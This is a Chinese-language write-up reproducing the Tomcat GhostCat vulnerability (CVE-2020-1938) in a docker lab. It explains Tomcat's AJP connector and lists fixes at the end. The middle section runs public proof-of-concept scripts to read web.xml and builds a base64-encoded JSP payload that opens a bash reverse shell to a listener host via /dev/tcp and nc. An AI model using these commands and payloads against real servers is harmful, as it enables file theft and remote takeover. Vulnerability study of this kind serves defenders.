由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置APJ连接器封装的request对象的属性,导致产生了任意文件读取漏洞和代码执行漏洞。
CVE-2020-1938又名GhostCat,之前引起了一场风雨,由长亭科技安全研究员发现的存在与Tomcat中的安全漏洞,由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码,此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
(影响说明:读取webapp下的所有文件)
漏洞成因时两个配置文件导致:
Tomcat在部署时有两个重要文件conf/server.xml,conf/web.xml。前者定义了tomcat启动时涉及的组件属性,其中包含两个connector(用于处理请求的组件):
如果开启状态下,tomcat启动后会监听8080,8009端口,它们分别负责接受http,ajp协议的数据,后者则和普通的java Web应用一样,用来定义servlet,这里是tomcat内建的几个servlet。
就像注解中描述的default servlet用来处理所有未被匹配到其他servlet的url请求,jsp servlet用来处理以.jsp,.jspxz做后缀名的url请求,这两都随tomcat一起启动。
tomcat结构简介详解:
tomcat的整体架构如上图所示,一个tomcat就是一个server,其中可以包含多个service(这里指的是一个抽象的逻辑层)。而每个service
有Connector
,Container
,Jsp
引擎,日志等组件构成,与此次漏洞相关的组件主要是前两者。
Connector是用来接收客户端的请求,请求中的数据包在被Connector解析后就会由Container处理,这个过程大致如下图:
Container中可以包含多个Host(虚拟主机,同Apache中定义),一个Host对应一个域名,因此Tomcat也可以配置多域名,每个Host又可以有多个Context,每个context其实就是一个web应用,而context下又有多个Wrapper,wrapper和servlet一一对应,只是它封装了一些管理servlet的函数,更近一步,客户端请求就交由servlet进入应用级的处理逻辑。
cd CVE-2020-1938/
docker-compose up -d
1、访问链接:http://192.168.111.133:8080/
2、下载利用POC进行攻击。
下载地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
该脚本在python2环境下执行。
python2 1.py 192.168.111.133 -p 8009 -f /WEB-INF/web.xml
成功读取到/WEB/web.xml文件的源码!
3、漏洞复现-文件包含RCE。
该漏洞可以将任意文件类型解析为jsp,从而达到任意命令的效果,但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.png,里面的内容是执行任意命令,可以执行以下命令得到命令执行结果在线bash payload生成。
bash -i >& /dev/tcp/192.168.111.129/4444 0>&1
因为正常的执行语句里面不能带空格和管道符,我们对bash脚本进行base64编码。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx
最终的payload。
<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>
将cmd.txt上传到/usr/local/tomcat/webapps/ROOT目录中。
docker cp /home/wangkun/桌面/cmd.txt 6900d2621470:/usr/local/tomcat/webapps/ROOT
接下来,我们在kali开启监听。
nc -lvvp 4444
利用脚本下载链接:https://github.com/00theway/Ghostcat-CNVD-2020-10487
下载好脚本后,我们给py脚本加上权限,然后执行下面命令。
chmod +X ajpShooter.py
python3 ajpShooter.py http://192.168.111.133 8009 /cmd.txt eval
连续执行三次,成功反弹回来shell。
1、将Tomcat立即升级到9.0.31,8.5.51或7.0.100版本进行修复。
2、禁用AJP协议
具体方法:编辑/conf/server.xml,找到如下行:
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
将此行注释掉(也可删除掉该行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
3、配置secret来设置AJP协议的认证凭证。
例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高,无法被轻易猜解的指):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>